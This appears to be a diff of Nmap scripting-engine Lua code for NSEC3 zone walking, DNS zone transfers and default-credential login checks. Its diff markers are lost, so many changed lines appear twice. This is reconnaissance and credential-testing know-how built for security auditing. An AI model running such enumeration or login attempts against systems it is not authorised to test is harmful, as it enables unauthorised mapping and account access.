result[#result + 1] = rec[label]
end
end
return result
return result
end
local function empty(t)
return not next(t)
return not next(t)
end
local function random_string()
return msrpc.random_crap(8,"etaoinshrdlucmfw")
return msrpc.random_crap(8,"etaoinshrdlucmfw")
end
-- generate a random hash with domains suffix
-- return both domain and it's hash
local function generate_hash(domain, iter, salt)
local rand_str = random_string()
local random_domain = rand_str .. "." .. domain
local packed_domain = ""
for word in string.gmatch(domain,"[^%.]+") do
packed_domain = packed_domain .. bin.pack("c",string.len(word)) .. word
end
local to_hash = bin.pack("c",string.len(rand_str)) .. rand_str .. packed_domain .. bin.pack("c",0) .. bin.pack("H",salt)
iter = iter - 1
local hash = openssl.sha1(to_hash)
for i=0,iter do
hash = hash .. bin.pack("H",salt)
hash = openssl.sha1(hash)
end
return string.lower(base32.enc(hash,true)), random_domain
local rand_str = random_string()
local random_domain = rand_str .. "." .. domain
local packed_domain = ""
for word in string.gmatch(domain,"[^%.]+") do
packed_domain = packed_domain .. bin.pack("c",string.len(word)) .. word
end
local to_hash = bin.pack("c",string.len(rand_str)) .. rand_str .. packed_domain .. bin.pack("c",0) .. bin.pack("H",salt)
iter = iter - 1
local hash = openssl.sha1(to_hash)
for i=0,iter do
hash = hash .. bin.pack("H",salt)
hash = openssl.sha1(hash)
end
return string.lower(base32.enc(hash,true)), random_domain
end
-- convenience function , returns size of a table
local function table_size(tbl)
local numItems = 0
for k,v in pairs(tbl) do
numItems = numItems + 1
end
return numItems
local numItems = 0
for k,v in pairs(tbl) do
numItems = numItems + 1
end
return numItems
end
-- convenience function , return first item in a table
local function get_first(tbl)
for k,v in pairs(tbl) do
return k,v
end
for k,v in pairs(tbl) do
return k,v
end
end
-- queries the domain and parses the results
-- returns the list of new ranges
local function query_for_hashes(host,subdomain,domain)
local status
local result
local ranges = {}
status, result = dns.query(subdomain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
if status then
for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do
local h1 = string.lower(remove_suffix(nsec3.dname,domain))
local h2 = string.lower(nsec3.hash.base32)
if not stdnse.contains(all_results,"nexthash " .. h1 .. " " .. h2) then
table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
stdnse.print_debug("nexthash " .. h1 .. " " .. h2)
end
ranges[h1] = h2
end
else
stdnse.print_debug(1, "DNS error: %s", result)
end
return ranges
local status
local result
local ranges = {}
status, result = dns.query(subdomain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
if status then
for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do
local h1 = string.lower(remove_suffix(nsec3.dname,domain))
local h2 = string.lower(nsec3.hash.base32)
if not stdnse.contains(all_results,"nexthash " .. h1 .. " " .. h2) then
table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
stdnse.print_debug("nexthash " .. h1 .. " " .. h2)
end
ranges[h1] = h2
end
else
stdnse.print_debug(1, "DNS error: %s", result)
end
return ranges
end
-- does the actuall enumeration
local function enum(host, port, domain)
local seen, seen_subdomain = {}, {}
local ALG ={}
ALG[1] = "SHA-1"
local todo = {}
local dnssec, status, result = false, false, "No Answer"
local result = {}
local subdomain = msrpc.random_crap(8,"etaoinshrdlucmfw")
local full_domain = join({subdomain, domain})
local iter
local salt
local end_time = get_end_time()
local seen, seen_subdomain = {}, {}
local ALG ={}
ALG[1] = "SHA-1"
local todo = {}
local dnssec, status, result = false, false, "No Answer"
local result = {}
local subdomain = msrpc.random_crap(8,"etaoinshrdlucmfw")
local full_domain = join({subdomain, domain})
local iter
local salt
local end_time = get_end_time()
-- do one query to determine the hash and if DNSSEC is actually used
status, result = dns.query(full_domain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
if status then
local is_nsec3 = false
for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do -- parse the results and add initial ranges
is_nsec3 = true
dnssec = true
iter = nsec3.iterations
salt = nsec3.salt.hex
local h1 = string.lower(remove_suffix(nsec3.dname,domain))
local h2 = string.lower(nsec3.hash.base32)
if table_size(todo) == 0 then
table.insert(all_results, "domain " .. domain)
stdnse.print_debug("domain " .. domain)
table.insert(all_results, "salt " .. salt)
stdnse.print_debug("salt " .. salt)
table.insert(all_results, "iterations " .. iter)
stdnse.print_debug("iterations " .. iter)
if h1 < h2 then
todo[h2] = h1
else
todo[h1] = h2
end
else
for b,a in pairs(todo) do
if h1 == b and h2 == a then -- h2:a b:h1 case
todo[b] = nil
break
end
if h1 == b and h2 > h1 then -- a b:h1 h2 case
todo[b] = nil
todo[h2] = a
break
end
if h1 == b and h2 < a then -- h2 a b:h1
todo[b] = nil
todo[b] = h2
break
end
if h1 > b then -- a b h1 h2
todo[b] = nil
todo[b] = h1
todo[h2] = a
break
end
if h1 < a then -- h1 h2 a b
todo[b] = nil
todo[b] = h1
todo[h2] = a
break
end
end -- for
end -- else
table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
stdnse.print_debug("nexthash " .. h1 .. " " .. h2)
end
end
-- do one query to determine the hash and if DNSSEC is actually used
status, result = dns.query(full_domain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
if status then
local is_nsec3 = false
for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do -- parse the results and add initial ranges
is_nsec3 = true
dnssec = true
iter = nsec3.iterations
salt = nsec3.salt.hex
local h1 = string.lower(remove_suffix(nsec3.dname,domain))
local h2 = string.lower(nsec3.hash.base32)
if table_size(todo) == 0 then
table.insert(all_results, "domain " .. domain)
stdnse.print_debug("domain " .. domain)
table.insert(all_results, "salt " .. salt)
stdnse.print_debug("salt " .. salt)
table.insert(all_results, "iterations " .. iter)
stdnse.print_debug("iterations " .. iter)
if h1 < h2 then
todo[h2] = h1
else
todo[h1] = h2
end
else
for b,a in pairs(todo) do
if h1 == b and h2 == a then -- h2:a b:h1 case
todo[b] = nil
break
end
if h1 == b and h2 > h1 then -- a b:h1 h2 case
todo[b] = nil
todo[h2] = a
break
end
if h1 == b and h2 < a then -- h2 a b:h1
todo[b] = nil
todo[b] = h2
break
end
if h1 > b then -- a b h1 h2
todo[b] = nil
todo[b] = h1
todo[h2] = a
break
end
if h1 < a then -- h1 h2 a b
todo[b] = nil
todo[b] = h1
todo[h2] = a
break
end
end -- for
end -- else
table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
stdnse.print_debug("nexthash " .. h1 .. " " .. h2)
end
end
-- find hash that falls into one of the ranges and query for it
while table_size(todo) > 0 and nmap.clock_ms() < end_time do
local hash
hash, subdomain = generate_hash(domain,iter,salt)
local queried = false
for a,b in pairs(todo) do
if a == b then
todo[a] = nil
break
end
if a < b then -- [] range
if hash > a and hash < b then
-- do the query
local hash_pairs = query_for_hashes(host,subdomain,domain)
queried = true
local changed = false
for h1,h2 in pairs(hash_pairs) do
if h1 == a and h2 == b then -- h1:a h2:b case
todo[a] = nil
changed = true
end
if h1 == a then -- h1:a h2 b case
todo[a] = nil
todo[h2] = b
changed = true
end
if h2 == b then -- a h1 bh:2 case
todo[a] = nil
todo[a] = h1
changed = true
end
if h1 > a and h2 < b then -- a h1 h2 b case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
end
-- if changed then
-- stdnse.print_debug("break[]")
--break
-- end
end
elseif a > b then -- ][ range
if hash > a or hash < b then
local hash_pairs = query_for_hashes(host,subdomain,domain)
queried = true
local changed = false
for h1,h2 in pairs(hash_pairs) do
if h1 == a and h2 == b then -- h2:b a:h1 case
todo[a] = nil
changed = true
end
if h1 == a and h2 > h1 then -- b a:h1 h2 case
todo[a] = nil
todo[h1] = b
changed = true
end
if h1 == a and h2 < b then -- h2 b a:h1 case
todo[a] = nil
todo[h2] = b
changed = true
end
if h1 > a and h2 > h1 then -- b a h1 h2 case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
if h1 > a and h2 < b then -- h2 b a h1 case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
if h1 < b then -- h1 h2 b a case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
end
if changed then
--break
end
end
end
if queried then
break
end
end
end
return dnssec, status, all_results
-- find hash that falls into one of the ranges and query for it
while table_size(todo) > 0 and nmap.clock_ms() < end_time do
local hash
hash, subdomain = generate_hash(domain,iter,salt)
local queried = false
for a,b in pairs(todo) do
if a == b then
todo[a] = nil
break
end
if a < b then -- [] range
if hash > a and hash < b then
-- do the query
local hash_pairs = query_for_hashes(host,subdomain,domain)
queried = true
local changed = false
for h1,h2 in pairs(hash_pairs) do
if h1 == a and h2 == b then -- h1:a h2:b case
todo[a] = nil
changed = true
end
if h1 == a then -- h1:a h2 b case
todo[a] = nil
todo[h2] = b
changed = true
end
if h2 == b then -- a h1 bh:2 case
todo[a] = nil
todo[a] = h1
changed = true
end
if h1 > a and h2 < b then -- a h1 h2 b case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
end
--if changed then
-- stdnse.print_debug("break[]")
--break
-- end
end
elseif a > b then -- ][ range
if hash > a or hash < b then
local hash_pairs = query_for_hashes(host,subdomain,domain)
queried = true
local changed = false
for h1,h2 in pairs(hash_pairs) do
if h1 == a and h2 == b then -- h2:b a:h1 case
todo[a] = nil
changed = true
end
if h1 == a and h2 > h1 then -- b a:h1 h2 case
todo[a] = nil
todo[h1] = b
changed = true
end
if h1 == a and h2 < b then -- h2 b a:h1 case
todo[a] = nil
todo[h2] = b
changed = true
end
if h1 > a and h2 > h1 then -- b a h1 h2 case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
if h1 > a and h2 < b then -- h2 b a h1 case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
if h1 < b then -- h1 h2 b a case
todo[a] = nil
todo[a] = h1
todo[h2] = b
changed = true
end
end
if changed then
--break
end
end
end
if queried then
break
end
end
end
return dnssec, status, all_results
end
action = function(host, port)
local output = {}
local domains
domains = stdnse.get_script_args('dns-nsec3-enum.domains')
if not domains then
domains = guess_domain(host)
end
if not domains then
return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
end
if type(domains) == 'string' then
domains = { domains }
end
local output = {}
local domains
domains = stdnse.get_script_args('dns-nsec3-enum.domains')
if not domains then
domains = guess_domain(host)
end
if not domains then
return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
end
if type(domains) == 'string' then
domains = { domains }
end
for _, domain in ipairs(domains) do
local dnssec, status, result = enum(host, port, domain)
if dnssec and type(result) == "table" then
output[#output + 1] = result
output[#output + 1] = "Total hashes found: " .. #result
for _, domain in ipairs(domains) do
local dnssec, status, result = enum(host, port, domain)
if dnssec and type(result) == "table" then
output[#output + 1] = result
output[#output + 1] = "Total hashes found: " .. #result
else
output[#output + 1] = "DNSSEC NSEC3 not supported"
end
end
return stdnse.format_output(true, output)
else
output[#output + 1] = "DNSSEC NSEC3 not supported"
end
end
return stdnse.format_output(true, output)
end

View File

@@ -102,15 +102,15 @@ prerule = function()
if not dns_opts.domain then
stdnse.print_debug(3,
"Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
"Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
if not dns_opts.server then
stdnse.print_debug(3,
"Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
"Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
@@ -132,8 +132,8 @@ portrule = function(host, port)
else
-- can't do anything without a hostname
stdnse.print_debug(3,
"Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
"Skipping '%s' %s, 'dnszonetransfer.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
end
@@ -149,39 +149,39 @@ end
--@class table
--@name typetab
local typetab = { 'A', 'NS', 'MD', 'MF', 'CNAME', 'SOA', 'MB', 'MG', 'MR',
'NULL', 'WKS', 'PTR', 'HINFO', 'MINFO', 'MX', 'TXT', 'RP', 'AFSDB', 'X25',
'ISDN', 'RT', 'NSAP', 'NSAP-PTR', 'SIG', 'KEY', 'PX', 'GPOS', 'AAAA', 'LOC',
'NXT', 'EID', 'NIMLOC', 'SRV', 'ATMA', 'NAPTR', 'KX', 'CERT', 'A6', 'DNAME',
'SINK', 'OPT', 'APL', 'DS', 'SSHFP', 'IPSECKEY', 'RRSIG', 'NSEC', 'DNSKEY',
'DHCID', 'NSEC3', 'NSEC3PARAM', 'TLSA', [55]='HIP', [56]='NINFO', [57]='RKEY',
[58]='TALINK', [59]='CDS', [99]='SPF', [100]='UINFO', [101]='UID', [102]='GID',
[103]='UNSPEC', [249]='TKEY', [250]='TSIG', [251]='IXFR', [252]='AXFR',
[253]='MAILB', [254]='MAILA', [255]='ANY', [256]='ZXFR', [257]='CAA',
[32768]='TA', [32769]='DLV',
'NULL', 'WKS', 'PTR', 'HINFO', 'MINFO', 'MX', 'TXT', 'RP', 'AFSDB', 'X25',
'ISDN', 'RT', 'NSAP', 'NSAP-PTR', 'SIG', 'KEY', 'PX', 'GPOS', 'AAAA', 'LOC',
'NXT', 'EID', 'NIMLOC', 'SRV', 'ATMA', 'NAPTR', 'KX', 'CERT', 'A6', 'DNAME',
'SINK', 'OPT', 'APL', 'DS', 'SSHFP', 'IPSECKEY', 'RRSIG', 'NSEC', 'DNSKEY',
'DHCID', 'NSEC3', 'NSEC3PARAM', 'TLSA', [55]='HIP', [56]='NINFO', [57]='RKEY',
[58]='TALINK', [59]='CDS', [99]='SPF', [100]='UINFO', [101]='UID', [102]='GID',
[103]='UNSPEC', [249]='TKEY', [250]='TSIG', [251]='IXFR', [252]='AXFR',
[253]='MAILB', [254]='MAILA', [255]='ANY', [256]='ZXFR', [257]='CAA',
[32768]='TA', [32769]='DLV',
}
--- Whitelist of TLDs. Only way to reliably determine the root of a domain
--@class table
--@name tld
local tld = {
'aero', 'asia', 'biz', 'cat', 'com', 'coop', 'info', 'jobs', 'mobi', 'museum',
'name', 'net', 'org', 'pro', 'tel', 'travel', 'gov', 'edu', 'mil', 'int',
'ac','ad','ae','af','ag','ai','al','am','an','ao','aq','ar','as','at','au','aw',
'ax','az','ba','bb','bd','be','bf','bg','bh','bi','bj','bm','bn','bo','br','bs',
'bt','bv','bw','by','bz','ca','cc','cd','cf','cg','ch','ci','ck','cl','cm','cn',
'co','cr','cu','cv','cx','cy','cz','de','dj','dk','dm','do','dz','ec','ee','eg',
'eh','er','es','et','eu','fi','fj','fk','fm','fo','fr','ga','gb','gd','ge','gf',
'gg','gh','gi','gl','gm','gn','gp','gq','gr','gs','gt','gu','gw','gy','hk','hm',
'hn','hr','ht','hu','id','ie','il','im','in','io','iq','ir','is','it','je','jm',
'jo','jp','ke','kg','kh','ki','km','kn','kp','kr','kw','ky','kz','la','lb','lc',
'li','lk','lr','ls','lt','lu','lv','ly','ma','mc','md','me','mg','mh','mk','ml',
'mm','mn','mo','mp','mq','mr','ms','mt','mu','mv','mw','mx','my','mz','na','nc',
'ne','nf','ng','ni','nl','no','np','nr','nu','nz','om','pa','pe','pf','pg','ph',
'pk','pl','pm','pn','pr','ps','pt','pw','py','qa','re','ro','rs','ru','rw','sa',
'sb','sc','sd','se','sg','sh','si','sj','sk','sl','sm','sn','so','sr','st','su',
'sv','sy','sz','tc','td','tf','tg','th','tj','tk','tl','tm','tn','to','tp','tr',
'tt','tv','tw','tz','ua','ug','uk','um','us','uy','uz','va','vc','ve','vg','vi',
'vn','vu','wf','ws','ye','yt','yu','za','zm','zw'
'aero', 'asia', 'biz', 'cat', 'com', 'coop', 'info', 'jobs', 'mobi', 'museum',
'name', 'net', 'org', 'pro', 'tel', 'travel', 'gov', 'edu', 'mil', 'int',
'ac','ad','ae','af','ag','ai','al','am','an','ao','aq','ar','as','at','au','aw',
'ax','az','ba','bb','bd','be','bf','bg','bh','bi','bj','bm','bn','bo','br','bs',
'bt','bv','bw','by','bz','ca','cc','cd','cf','cg','ch','ci','ck','cl','cm','cn',
'co','cr','cu','cv','cx','cy','cz','de','dj','dk','dm','do','dz','ec','ee','eg',
'eh','er','es','et','eu','fi','fj','fk','fm','fo','fr','ga','gb','gd','ge','gf',
'gg','gh','gi','gl','gm','gn','gp','gq','gr','gs','gt','gu','gw','gy','hk','hm',
'hn','hr','ht','hu','id','ie','il','im','in','io','iq','ir','is','it','je','jm',
'jo','jp','ke','kg','kh','ki','km','kn','kp','kr','kw','ky','kz','la','lb','lc',
'li','lk','lr','ls','lt','lu','lv','ly','ma','mc','md','me','mg','mh','mk','ml',
'mm','mn','mo','mp','mq','mr','ms','mt','mu','mv','mw','mx','my','mz','na','nc',
'ne','nf','ng','ni','nl','no','np','nr','nu','nz','om','pa','pe','pf','pg','ph',
'pk','pl','pm','pn','pr','ps','pt','pw','py','qa','re','ro','rs','ru','rw','sa',
'sb','sc','sd','se','sg','sh','si','sj','sk','sl','sm','sn','so','sr','st','su',
'sv','sy','sz','tc','td','tf','tg','th','tj','tk','tl','tm','tn','to','tp','tr',
'tt','tv','tw','tz','ua','ug','uk','um','us','uy','uz','va','vc','ve','vg','vi',
'vn','vu','wf','ws','ye','yt','yu','za','zm','zw'
}
--- Convert two bytes into a 16bit number.
@@ -189,61 +189,61 @@ local tld = {
--@param idx Index in the string (first of two consecutive bytes).
--@return 16 bit number represented by the two bytes.
function bto16(data, idx)
local b1 = string.byte(data, idx)
local b2 = string.byte(data, idx+1)
-- (b2 & 0xff) | ((b1 & 0xff) << 8)
return bit.bor(bit.band(b2, 255), bit.lshift(bit.band(b1, 255), 8))
local b1 = string.byte(data, idx)
local b2 = string.byte(data, idx+1)
-- (b2 & 0xff) | ((b1 & 0xff) << 8)
return bit.bor(bit.band(b2, 255), bit.lshift(bit.band(b1, 255), 8))
end
--- Check if domain name element is a tld
--@param elm Domain name element to check.
--@return boolean
function valid_tld(elm)
for i,v in ipairs(tld) do
if elm == v then return true end
end
return false
for i,v in ipairs(tld) do
if elm == v then return true end
end
return false
end
--- Parse an RFC 1035 domain name.
--@param data String of data.
--@param offset Offset in the string to read the domain name.
function parse_domain(data, offset)
local offset, domain = dns.decStr(data, offset)
domain = domain or "<parse error>"
return offset, string.format("%s.", domain)
local offset, domain = dns.decStr(data, offset)
domain = domain or "<parse error>"
return offset, string.format("%s.", domain)
end
--- Build RFC 1035 root domain name from the name of the DNS server
-- (e.g ns1.website.com.ar -> \007website\003com\002ar\000).
--@param host The host.
function build_domain(host)
local names, buf, x
local abs_name, i, tmp
local names, buf, x
local abs_name, i, tmp
buf = strbuf.new()
abs_name = {}
buf = strbuf.new()
abs_name = {}
names = stdnse.strsplit('%.', host)
if names == nil then names = {host} end
names = stdnse.strsplit('%.', host)
if names == nil then names = {host} end
-- try to determine root of domain name
for i, x in ipairs(listop.reverse(names)) do
table.insert(abs_name, x)
if not valid_tld(x) then break end
end
-- try to determine root of domain name
for i, x in ipairs(listop.reverse(names)) do
table.insert(abs_name, x)
if not valid_tld(x) then break end
end
i = 1
abs_name = listop.reverse(abs_name)
i = 1
abs_name = listop.reverse(abs_name)
-- prepend each element with its length
while i <= #abs_name do
buf = buf .. string.char(#abs_name[i]) .. abs_name[i]
i = i + 1
end
-- prepend each element with its length
while i <= #abs_name do
buf = buf .. string.char(#abs_name[i]) .. abs_name[i]
i = i + 1
end
buf = buf .. '\000'
return strbuf.dump(buf)
buf = buf .. '\000'
return strbuf.dump(buf)
end
local function parse_num_domain(data, offset)
@@ -264,25 +264,25 @@ end
--- Retrieve type specific data (rdata) from dns packets
local RD = {
A = function(data, offset)
return offset+4, packet.toip(data:sub(offset, offset+3))
return offset+4, packet.toip(data:sub(offset, offset+3))
end,
NS = parse_domain,
MD = parse_domain, -- obsolete per rfc1035, use MX
MF = parse_domain, -- obsolete per rfc1035, use MX
CNAME = parse_domain,
SOA = function(data, offset)
local field, info
info = strbuf.new()
-- name server
offset, field = parse_domain(data, offset)
info = info .. field;
-- mail box
offset, field = parse_domain(data, offset)
info = info .. field;
-- ignore other values
offset = offset + 20
return offset, strbuf.dump(info, ' ')
end,
local field, info
info = strbuf.new()
-- name server
offset, field = parse_domain(data, offset)
info = info .. field;
-- mail box
offset, field = parse_domain(data, offset)
info = info .. field;
-- ignore other values
offset = offset + 20
return offset, strbuf.dump(info, ' ')
end,
MB = parse_domain, -- experimental per RFC 1035
MG = parse_domain, -- experimental per RFC 1035
MR = parse_domain, -- experimental per RFC 1035
@@ -392,7 +392,7 @@ local RD = {
lon = 0-lon
end
return offset, string.format("%f %s %f %s %dm %0.1fm %0.1fm %0.1fm",
lat, latd, lon, lond, alt/100 - 100000, siz, hp, vp)
lat, latd, lon, lond, alt/100 - 100000, siz, hp, vp)
end,
--NXT --obsolete RR relating to DNSSEC
--EID NIMLOC --related to Nimrod DARPA project (Patton1995)
@@ -453,44 +453,44 @@ local RD = {
}
function get_rdata(data, offset, ttype)
if typetab[ttype] == nil then
return offset, ''
elseif RD[typetab[ttype]] then
return RD[typetab[ttype]](data, offset)
else
local field
offset, field = bin.unpack("A" .. bto16(data, offset-2), data, offset)
return offset, ("hex: %s"):format(stdnse.tohex(field))
end
if typetab[ttype] == nil then
return offset, ''
elseif RD[typetab[ttype]] then
return RD[typetab[ttype]](data, offset)
else
local field
offset, field = bin.unpack("A" .. bto16(data, offset-2), data, offset)
return offset, ("hex: %s"):format(stdnse.tohex(field))
end
end
--- Get a single answer record from the current offset
function get_answer_record(table, data, offset)
local line, rdlen, ttype
local line, rdlen, ttype
-- answer domain
offset, line = parse_domain(data, offset)
table.domain = line
-- answer domain
offset, line = parse_domain(data, offset)
table.domain = line
-- answer record type
ttype = bto16(data, offset)
if not(typetab[ttype] == nil) then
table.ttype = typetab[ttype]
end
-- answer record type
ttype = bto16(data, offset)
if not(typetab[ttype] == nil) then
table.ttype = typetab[ttype]
end
-- length of type specific data
rdlen = bto16(data, offset+8)
-- length of type specific data
rdlen = bto16(data, offset+8)
-- extra data, ignore ttl and class
offset, line = get_rdata(data, offset+10, ttype)
if(line == '') then
offset = offset + rdlen
return false, offset
else
table.rdata = line
end
-- extra data, ignore ttl and class
offset, line = get_rdata(data, offset+10, ttype)
if(line == '') then
offset = offset + rdlen
return false, offset
else
table.rdata = line
end
return true, offset
return true, offset
end
-- parse and save uniq records in the results table
@@ -514,61 +514,61 @@ end
-- parse and save only valid records
function parse_records(number, data, results, offset)
while number > 0 do
local answer, st = {}
st, offset = get_answer_record(answer, data, offset)
if st then
parse_uniq_records(results, answer)
end
number = number - 1
while number > 0 do
local answer, st = {}
st, offset = get_answer_record(answer, data, offset)
if st then
parse_uniq_records(results, answer)
end
return offset
number = number - 1
end
return offset
end
-- parse and save all records in order to dump them to output
function parse_records_table(number, data, table, offset)
while number > 0 do
local answer, st = {}
st, offset = get_answer_record(answer, data, offset)
if st then
if answer.domain then
tab.add(table, 1, answer.domain)
end
if answer.ttype then
tab.add(table, 2, answer.ttype)
end
if answer.rdata then
tab.add(table, 3, answer.rdata)
end
tab.nextrow(table)
end
number = number - 1
while number > 0 do
local answer, st = {}
st, offset = get_answer_record(answer, data, offset)
if st then
if answer.domain then
tab.add(table, 1, answer.domain)
end
if answer.ttype then
tab.add(table, 2, answer.ttype)
end
if answer.rdata then
tab.add(table, 3, answer.rdata)
end
tab.nextrow(table)
end
return offset
number = number - 1
end
return offset
end
-- An iterator that breaks up a concatentation of responses. In DNS over TCP,
-- each response is prefixed by a two-byte length (RFC 1035 section 4.2.2).
-- Responses returned by this iterator include the two-byte length prefix.
function responses_iter(data)
local offset = 1
local offset = 1
return function()
local length, remaining, response
return function()
local length, remaining, response
remaining = #data - offset + 1
if remaining == 0 then
return nil
end
assert(remaining >= 14 + 2)
length = bto16(data, offset)
assert(length <= remaining)
-- Skip over the length field.
offset = offset + 2
response = string.sub(data, offset, offset + length - 1)
offset = offset + length
return response
remaining = #data - offset + 1
if remaining == 0 then
return nil
end
assert(remaining >= 14 + 2)
length = bto16(data, offset)
assert(length <= remaining)
-- Skip over the length field.
offset = offset + 2
response = string.sub(data, offset, offset + length - 1)
offset = offset + length
return response
end
end
-- add axfr results to Nmap scan queue
@@ -586,7 +586,7 @@ function add_zone_info(response)
offset = offset + 12
if questions > 1 then
return false, 'More then 1 question record, something has gone wrong'
return false, 'More then 1 question record, something has gone wrong'
end
if answers == 0 then
@@ -601,8 +601,8 @@ function add_zone_info(response)
-- parse all available resource records
stdnse.print_debug(3,
"Script %s: parsing ANCOUNT == %d, NSCOUNT == %d, ARCOUNT == %d",
SCRIPT_NAME, answers, auth_answers, add_answers)
"Script %s: parsing ANCOUNT == %d, NSCOUNT == %d, ARCOUNT == %d",
SCRIPT_NAME, answers, auth_answers, add_answers)
RR['Node Names'] = {}
offset = parse_records(answers, data, RR, offset)
offset = parse_records(auth_answers, data, RR, offset)
@@ -639,7 +639,7 @@ function add_zone_info(response)
status, ret = target.add(rdata)
if not status then
stdnse.print_debug(3,
"Error: failed to add all 'A' records.")
"Error: failed to add all 'A' records.")
break
end
newhosts_count = newhosts_count + ret
@@ -650,7 +650,7 @@ function add_zone_info(response)
status, ret = target.add(rdata)
if not status then
stdnse.print_debug(3,
"Error: failed to add all '%s' records.", rectype)
"Error: failed to add all '%s' records.", rectype)
break
end
newhosts_count = newhosts_count + ret
@@ -672,8 +672,8 @@ function add_zone_info(response)
end
return true, tab.dump(outtab) .. "\n" ..
string.format("Total new targets added to Nmap scan queue: %d.",
nhosts)
string.format("Total new targets added to Nmap scan queue: %d.",
nhosts)
end
function dump_zone_info(table, response)
@@ -690,11 +690,11 @@ function dump_zone_info(table, response)
offset = offset + 12
if questions > 1 then
return false, 'More then 1 question record, something has gone wrong'
return false, 'More then 1 question record, something has gone wrong'
end
if answers == 0 then
return false, 'transfer successful but no records'
return false, 'transfer successful but no records'
end
-- skip over the question section, we don't need it
@@ -716,66 +716,66 @@ function dump_zone_info(table, response)
end
action = function(host, port)
if not dns_opts.domain then
return stdnse.format_output(false,
string.format("'%s' script needs a dnszonetransfer.domain argument.",
SCRIPT_TYPE))
if not dns_opts.domain then
return stdnse.format_output(false,
string.format("'%s' script needs a dnszonetransfer.domain argument.",
SCRIPT_TYPE))
end
if not dns_opts.port then
dns_opts.port = 53
end
local soc = nmap.new_socket()
local catch = function() soc:close() end
local try = nmap.new_try(catch)
soc:set_timeout(4000)
try(soc:connect(dns_opts.server, dns_opts.port))
local req_id = '\222\173'
local offset = 1
local name = build_domain(string.lower(dns_opts.domain))
local pkt_len = #name + 16
-- build axfr request
local buf = strbuf.new()
buf = buf .. '\000' .. string.char(pkt_len) .. req_id
buf = buf .. '\000\000\000\001\000\000\000\000\000\000'
buf = buf .. name .. '\000\252\000\001'
try(soc:send(strbuf.dump(buf)))
-- read all data returned. Common to have
-- multiple packets from a single request
local response = strbuf.new()
while true do
local status, data = soc:receive_bytes(1)
if not status then break end
response = response .. data
end
soc:close()
local response_str = strbuf.dump(response)
local length = #response_str
-- check server response code
if length < 6 or
not (bit.band(string.byte(response_str, 6), 15) == 0) then
return nil
end
-- add axfr results to Nmap scanning queue
if target.ALLOW_NEW_TARGETS then
local status, ret = add_zone_info(response_str)
if not status then
return stdnse.format_output(false, ret)
end
if not dns_opts.port then
dns_opts.port = 53
end
local soc = nmap.new_socket()
local catch = function() soc:close() end
local try = nmap.new_try(catch)
soc:set_timeout(4000)
try(soc:connect(dns_opts.server, dns_opts.port))
local req_id = '\222\173'
local offset = 1
local name = build_domain(string.lower(dns_opts.domain))
local pkt_len = #name + 16
-- build axfr request
local buf = strbuf.new()
buf = buf .. '\000' .. string.char(pkt_len) .. req_id
buf = buf .. '\000\000\000\001\000\000\000\000\000\000'
buf = buf .. name .. '\000\252\000\001'
try(soc:send(strbuf.dump(buf)))
-- read all data returned. Common to have
-- multiple packets from a single request
local response = strbuf.new()
while true do
local status, data = soc:receive_bytes(1)
if not status then break end
response = response .. data
end
soc:close()
local response_str = strbuf.dump(response)
local length = #response_str
-- check server response code
if length < 6 or
not (bit.band(string.byte(response_str, 6), 15) == 0) then
return nil
end
-- add axfr results to Nmap scanning queue
if target.ALLOW_NEW_TARGETS then
local status, ret = add_zone_info(response_str)
if not status then
return stdnse.format_output(false, ret)
end
return stdnse.format_output(true, ret)
return stdnse.format_output(true, ret)
-- dump axfr results
else
local table = tab.new()
local status, ret = dump_zone_info(table, response_str)
if not status then
return stdnse.format_output(false, ret)
end
return '\n' .. tab.dump(table)
else
local table = tab.new()
local status, ret = dump_zone_info(table, response_str)
if not status then
return stdnse.format_output(false, ret)
end
return '\n' .. tab.dump(table)
end
end

View File

@@ -283,9 +283,9 @@ action = function(host, port)
local path = basepath .. probe['path']
if http.page_exists(results[j], result_404, known_404, path, true)
and (not fingerprint.target_check
or fingerprint.target_check(host, port, path, results[j]))
then
and (not fingerprint.target_check
or fingerprint.target_check(host, port, path, results[j]))
then
for _, login_combo in ipairs(fingerprint.login_combos) do
stdnse.print_debug(2, "%s: Trying login combo -> %s:%s", SCRIPT_NAME, login_combo["username"], login_combo["password"])
--Check default credentials

View File

@@ -101,14 +101,14 @@ portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
-- @param port table as received by the action function
-- @param path against which to check if authentication is required
local function requiresAuth( host, port, path )
local result = http.get(host, port, "/names.nsf")
local result = http.get(host, port, "/names.nsf")
if ( result.status == 401 ) then
return true
elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
return true
end
return false
if ( result.status == 401 ) then
return true
